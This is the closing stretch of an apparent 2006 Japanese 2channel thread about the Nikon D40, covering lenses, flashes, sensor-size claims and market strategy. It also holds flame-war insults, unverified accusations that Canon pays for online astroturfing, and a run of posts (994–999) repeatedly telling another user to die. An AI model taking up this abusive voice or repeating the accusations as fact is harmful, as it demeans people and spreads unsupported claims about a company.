フラッシュ禁止の場所や赤ちゃんの撮影などに適しています。
暗い場所ではカメラが自動的に感度を上げるので、その場の雰
囲気を活かした撮影ができます。

を使うべし

取りあえず構図以外のパラメータはカメラが何とかしてくれる
728に才能があれば既存概念を打ち破る斬新な構図が創造されるかもしれない
才能が無ければ其れなりに

そーやって自分で撮った写真を教科書などのお手本と比べて勉強

927 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:32:03 ID:VdZh4APc0
Gタイプのレンズはイラナイ!


928 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:34:51 ID:65Czz2rM0
>>728
ttp://www.amazon.co.jp/gp/product/4774128198
田中さんの
「デジタル一眼レフ」プロ級写真の撮り方教えます

上達のヒント
”もみじの成長記録”のすすめ
とくに、生まれたばかりの赤ちゃんの手や足のクローズアッ
プは貴重な写真となり得る。

中略

ちっちゃなモミジのような手を、お父さんやお母さんの手と一緒に写して
おくのも大事。

以下略

\1,980と少し高め
写真全般に触れているので
子供関係は「こども1」「こども2」の4ページだけだけど
俺的にはお勧め

929 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:39:25 ID:QXHRhNKg0
>>811
D40に付属のCDにCamera Control Proのアップデータが同梱されてるよ

930 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:55:12 ID:r2gBVmxY0
>>929
確かに付属の PictureProject1.7 の CD のレーベル面に
Camera Control Pro Updater included とさりげなく書いてありますな。
でも他の付属物には何の言及もないような…
こんなの見落とすのが普通だよ!



931 :カメラで盆栽:2006/12/11(月) 22:17:34 ID:8h74A81M0
銀パンに黒蓋かぶせてみたら、それなりに見られる様になった。
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20061211221459.jpg

932 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:34:10 ID:yvzoFxk90
>>931
いいね〜。スピードライト新しく出たやつ?

933 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:34:24 ID:5iRY66iW0
>>927
>Gタイプのレンズはイラナイ!

今後Nikkorレンズはゆっくり全てGタイプ化され、
Dタイプはディスコンされていくわけですが、
何か?

934 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:36:56 ID:bVz9MxfT0
>>933
ゆっくり昔のボディが使えなくなっていくのは許容するんだねw さすが妄信信者だねwww

935 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:37:39 ID:QXHRhNKg0
>>930
簡単操作ガイドって折りたたまれた紙に書いてあったぞ。

936 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:41:15 ID:SRC+z95Z0
だからさ、なんでこんなに実質5万もしないボディに1万のレンズにすら噛み付くのかね。
弱点はあえて残してあるのがそんなに脅威なの?

競合機種が売れなくて困る人しかこんなことできんのー。

937 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:43:51 ID:OHqvr+PH0
誰も噛み付いてないのに噛まれた気になる病気ですか?

938 :名無CCDさん@画素いっぱい:2006/12/11(月) 22:46:48 ID:VqFClL7v0
脅威だと思うよ。インパクトある機種だよ。
ツボをおさえて新しい市場を開く..ニコンらしくない展開だとは思うけど

939 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:01:42 ID:H6tsVarP0
かつてのニコンは、無能な既存ユーザーの満足度を上げることばかりに捕らわれていたからな。
そんなのが、「大事なのは株主様」という、ごく普通の企業に成長したってだけの話だよ。

言い換えれば、キヤノンに似てきたともいえ、多少残念ではあるが(w)、
今後もインパクトのある製品をどんどん出してくれる訳で、
機材コレクター以外の普通の人には、そっちの方が嬉しいよね?


940 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:03:19 ID:iW+/eJX20
機材コレクターだって、インパクトのある製品の方が嬉しいんじゃないのか?

941 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:05:09 ID:poBE0v4FQ
【パン】Nikon D40 Prat7【ケーキ】

942 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:05:20 ID:9n9U5aKN0

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061128202435.jpg
大型CMOSセンサ−って
他社APS-CのCCDは1.5倍、キヤノンAPS-CのCMOSは1.6倍なのでデジイチで一番小さい
(オリ除く)
よって誇大広告(というより嘘!)なのでJAROに通報しました。



943 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:07:32 ID:pd2wZ9w40
デジタル化によって時代が変わり、普通の人や女性のユーザーが増えた
開拓したのはキヤノンのデジKissだが、キヤノンは高画素=高画質=高価格という
誤った路線を転換しない。その状況でニコンが小さなグリップでも
許されることに気が付いてD50を改良、ターゲットを初心者に絞って小型化した。
こんな感じか。

944 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:08:49 ID:iW+/eJX20
>>942
自分で言ってるじゃん。>「他社APS-Cの”CCD”は」
記事は「大型”CMOS”センサ−」


OK!!w

945 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:09:15 ID:meojmbeF0
>>931

SB-400小さくていいね〜

↓ちなみにSB-27だとこんな感じw
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061211230744.jpg

946 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:10:16 ID:5iRY66iW0
>>943
>ゆっくり昔のボディが使えなくなっていくのは許容するんだねw さすが妄信信者だねwww

俺はD100/D70/D200/D80の4台しか持ってないから。
それ以前のニコ信者うざい。

947 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:10:36 ID:N73iaA8x0
>>934
ん〜、30点!

948 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:11:02 ID:pd2wZ9w40
>>945
変態だーw

949 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:11:48 ID:RNNIE1ZQ0
ブツ撮りひとつ、まともに出来んのか・・・。
悪趣味な奴の写真はそんなもんだよな。

950 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:13:34 ID:H6tsVarP0
>>940
インパクトある製品を作るためには、時には既存製品を否定するようなものになるわけで…

951 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:36:09 ID:WFd1wtP60
展示品を触ってきた
いいねこのカメラ
D40はこれから先どんどん売れるだろうね
オートじゃなきゃ嫌だって?
マヌアルであってもピント合わせは楽だし楽しいね
むしろマヌアルレンズのほうがオートより楽しいカメラかもしれん
オレも買うことに決めたよ

あの価格であの出来のカメラに誹謗中傷を垂れるのは
きっと粘着の基地外工作員なんだろうなぁ
仕事とはいえ哀れだよ

952 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:37:44 ID:C4d4NhiB0
いもしない工作員とかいうスケープゴートに頼らないと
アイデンティティを保てないバカのほうが哀れに見える。
もっと自信を持って生きろ。

953 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:37:49 ID:PlowCT2z0
どんなに高価なカメラを買ったって心が貧しければどうしようもないよな、人間として

954 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:48:47 ID:dCkW5nXi0
工作員がいるのかどうか分からない。
でも、発売以来、ろくにレスが進まなかったKDX系スレでも年末需要期に入るやまともなユーザー風書き込みが増えたり
D40スレやK10Dスレに荒らしが大量に発生したのは何でだろうと不審には感じる。

ある時期
急に
かなりの物量で
特定メーカーの都合のいい

955 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:49:12 ID:SjIBlGyj0
1000ならピンク発売。

956 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:49:47 ID:prIsB2MV0
それを学術的には「疑心暗鬼」と呼ぶ。

957 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:50:18 ID:WFd1wtP60
>>952
オマエは今夜も残業なのかw
( ´,_ゝ`)プッ

958 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:50:35 ID:kL7bsyU+0
>>952
いくらカメオタでも5万のカメラの話題でアイデンティティとか関係ないから。それ頭おかしいからww

安いのに良くできてるし楽しいねこのカメラ、って盛り上がってるだけでしょ。

どっちかってーと、たかが5万のカメラのスレにいちいち荒らしに来なきゃ気が済まないお前のアイデンティティのほうが心配だよ。
頭大丈夫か? 一度カウンセリングとか受けてみたほうがいいんじゃない?


959 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:50:52 ID:YFu73uW30
昔のボディは、昔買ったレンズで、いつまでも使えてるから問題ないな。
F3に、AF-S VR18-200Gとかつけてもしかたない(VRが動くわけもなく)。


960 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:52:22 ID:iW+/eJX20
まあ、工作員って事にしとけばイイじゃん。

「みんなが楽しそうにしてるところにチョッカイ出して構ってもらおうとする餓鬼みたいな心の貧しいヤツ」
ってズバリ言っちゃうのはいくらなんでも可哀想だし、呼称として長すぎる。

961 :名無CCDさん@画素いっぱい:2006/12/11(月) 23:56:36 ID:C4d4NhiB0
てゆかその「楽しそう」ってのが腐れMFレンズで糞画質を求めてたり
工作員という仮想敵国を設定する事で連帯感を高めようという行為なのがさもしいんだよねぇ。
もちょっとさ、D40自体を楽しめないものかと思ったりするわけだ。

962 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:07:24 ID:4CqNn4090
ま、2chに来てる時点で、カメラは楽しんでないよなw (オレモナー)


963 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:24:57 ID:6LSI4CO20
次スレ立ててみます

964 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:24:58 ID:vlY2bMGk0
D40買ったけど、やっぱりAF-Sレンズしか使えないのは痛い。
単焦点は全部だめだし、画質のわるいズームばっかりではどうしようもない。

手ブレ補正やゴミ取りなどの独自のギミックもない平凡な機械。画質もコンデジ並み。。。
失敗しちゃったかなーって感じです。

965 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:34:15 ID:Ssev/0Rd0
>>964
ワロス

966 :963:2006/12/12(火) 00:34:27 ID:+jzABCft0

「ERROR:新このホストでは、しばらくスレッドが立てられません。」
で立てられませんでした。ほかの方よろしくお願いします。

967 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:36:54 ID:8pUkgpoN0
わざわざageてカキコするところがダメなんだって・・・
まだまだ修行が足りんな。

968 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:40:30 ID:nMMHRa030
>>964
だめだ、そんなんじゃ!
もっとがんばれ工作員!

969 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:43:29 ID:TdjQnVfb0
高価な価格のD2X使ってる奴が馬鹿に見えてしまう出来の良さD40最強だね
APS-Cで無理の無い600万画素、画素数増やせば良い物でもないだろう
新聞のドット絵と間違ってる奴がメーカーの中の者にも多いらしく
コンデジや一眼まで画素数競いはいい加減やめろと言いたいな
新聞はドットが多いほど鮮明かもしれないが
カメラとなると違うのが分からない素人並みの開発者が多すぎ
正直痛すぎるよな。


970 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:50:36 ID:BHWVsFaV0
売れる物を作る為の開発と、良い物を作る為の開発は違うって事でしょ
利益優先か、それとも品質優先かって話になってくるんだよ
品質の良い物=利益の出る物ってのが理想なんだけど、現代の商業理論では
殆どの場合に於いてイコールにならないんだよ
それがカタログスペックだけ高くて実際の品質が悪い商品の乱発を招く
一因となっている、って事さ

で、結局消費者は泣きを見るか、それとも気づかずに過ごすか、となるわけだ

971 :名無CCDさん@画素いっぱい:2006/12/12(火) 00:55:20 ID:4CqNn4090
D2Xが馬鹿に見えるってほどでもないな<D40

画素云々じゃなくて、カメラとしてのつくりが全然違うだろう。
プロ用機なんだから、D40みたいなコンパクト差はいらないし、
600万画素じゃ一般用途はともかく、大伸ばしができないっしょ。

言いたいことはわかるが、顧客セグメントの違う機種を比べるなってのw

972 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:03:23 ID:TdjQnVfb0
そもそもプロは銀塩中版カメラだろ
35mmの電子カメラなんて玩具使うわけないし、自称プロ?ジャマイカ
まだまだプロでは電子カメラは玩具と認識されてるらしいぞ。

973 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:05:11 ID:TdjQnVfb0
D2Xは35mm一眼モドキのハーフ型電子カメラだったな。

974 :811:2006/12/12(火) 01:06:39 ID:N7RmhVH/0
>>929
D40にしろというプレッシャーを感じますw

価格の下がったD50も捨てがたいですが。


975 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:09:13 ID:TdjQnVfb0
しかしコンパクト電子スチルカメラなんて使ってる奴の気が知れないな
スレまで作って必死に口論してるガキらの器の低さってないよな、馬鹿まるだしだなw

976 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:23:39 ID:4CqNn4090
そんなことを入門機スレに言いにくるのも馬鹿っぽいw

977 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:33:17 ID:dylvcrdD0
>>975
ミジメ君顔真っ赤だよw

978 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:41:25 ID:pyKtbX5W0
入門機もプロ機も同じサイズの撮像素子
写した絵なんて変わらないと思うが
画素数水増しで1000万画素APS素子より
D40で良いと思うぜ。

979 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:44:03 ID:fHBjEElX0
D10D使ってる奴からするとD40買った奴なんて池沼にしか思えん

980 :名無CCDさん@画素いっぱい:2006/12/12(火) 01:44:47 ID:4CqNn4090
もう、D10Dってだけで、お前がデジカメを1台も持ってないことがバレタ

981 :名無CCDさん@画素いっぱい:2006/12/12(火) 02:26:37 ID:70ms2lpa0
>>975
器の低さなんてあまり言わないぞ
器が大きいとか器が小さい。と使うだろう
「程度」が低いならわかるよ
馬鹿丸出し

982 :名無CCDさん@画素いっぱい:2006/12/12(火) 02:33:42 ID:nTOIZVyU0

http://kakaku.com/bbs/Main.asp?SortID=5386640
[5441705]
シェア回復のため宣伝広告費を5割増しするとのキヤノンの役員の発言に
違和感を感じましたね
その金で商品安くするとか安い手ブレ補正レンズ開発したりする方が
消費者にとって有益だと思いますがね
キヤノン信者の人からすれば高くならないからいいって事になるんでしょうが

ttp://sales.gala.jp/
ttp://www.gala.jp/corporate/index.html
>◇主要取引先 キヤノン株式会社

あとこれってネット上の口コミ操作をすると言うことなんですかね?
だとしたらこう言うものにお金を使うのも違和感を感じてしまいますね
すべて商品価格に上乗せされるんですから

*****************************************************************
佐賀県で有名になったNET監視企業は、キャニョンとも取引があった。
しかし主要取引企業からキャニョンの名前が消えた!!!!
何かやましいことでもあって消さざるをえなっかった???

品質より広告宣伝費やNET工作費用優先ですか?

やっぱりキヤノンは社員がネットでライバル社製品の誹謗中傷を行っていたんですね
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060123000423.jpg
http://www.asahi.com/life/update/1019/011.html
**********************************************************

983 :名無CCDさん@画素いっぱい:2006/12/12(火) 03:38:21 ID:JhyTU5Xv0
次スレ立てましたよ

http://hobby7.2ch.net/test/read.cgi/dcamera/1165861810/

984 :名無CCDさん@画素いっぱい:2006/12/12(火) 03:43:18 ID:g7yfwqzc0
>>983
さっそくウィルス仕込まれてますよ・・・ orz

985 :名無CCDさん@画素いっぱい:2006/12/12(火) 03:56:21 ID:9L82YCEX0
ウィルスじゃないっつーのに・・・。
どうやら荒らし関連のFAQテンプレも作らんといかんみたいね。

986 :名無CCDさん@画素いっぱい:2006/12/12(火) 04:11:15 ID:4CqNn4090
ウィルスコードのことだろうw

セキュリティソフトの誤作動を狙った嫌がらせですな。
検出させて不安感を煽る、もしくはウザがらせる。
だから、スルーが一番。

987 :名無CCDさん@画素いっぱい:2006/12/12(火) 09:14:05 ID:8pUkgpoN0
埋めage

988 :名無CCDさん@画素いっぱい:2006/12/12(火) 10:05:35 ID:8pUkgpoN0
夜を徹した嵐君は眠りにつき、
まともな方々も仕事や学業に励むこの時間帯は
ある意味ヒマで仕方ない引き篭もり

あー、写真撮りに逝けって言われそうだ

989 :名無CCDさん@画素いっぱい:2006/12/12(火) 10:17:59 ID:W4n6r51Y0
雨だっつーの

990 :名無CCDさん@画素いっぱい:2006/12/12(火) 10:54:03 ID:8pUkgpoN0
こっちも天気はいまいちだな、曇っとる

991 :名無CCDさん@画素いっぱい:2006/12/12(火) 11:01:46 ID:eWnEnm9K0
ウィルスコードは、いつも同じ奴が貼っているね。

キャノン機種スレに貼られたのを見たことがないw

992 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:31:35 ID:8pUkgpoN0
昼休みだというのに、なかなか埋まらんな

993 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:36:57 ID:s56IW9wE0
埋めておくか。

994 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:53:39 ID:SvOyx+kd0
>>977
おれこういうやつ吐き気がする

995 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:54:52 ID:SvOyx+kd0
>>977
だれかころしてくれ

996 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:55:55 ID:SvOyx+kd0
>>977
もうしんだ?

997 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:56:56 ID:SvOyx+kd0
>>977
はやくしねよ


998 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:58:09 ID:SvOyx+kd0
>>977
もっとしねよ


999 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:59:11 ID:SvOyx+kd0
>>977
いいからしねよ

1000 :名無CCDさん@画素いっぱい:2006/12/12(火) 12:59:37 ID:wz4HhIjH0



1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

276 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)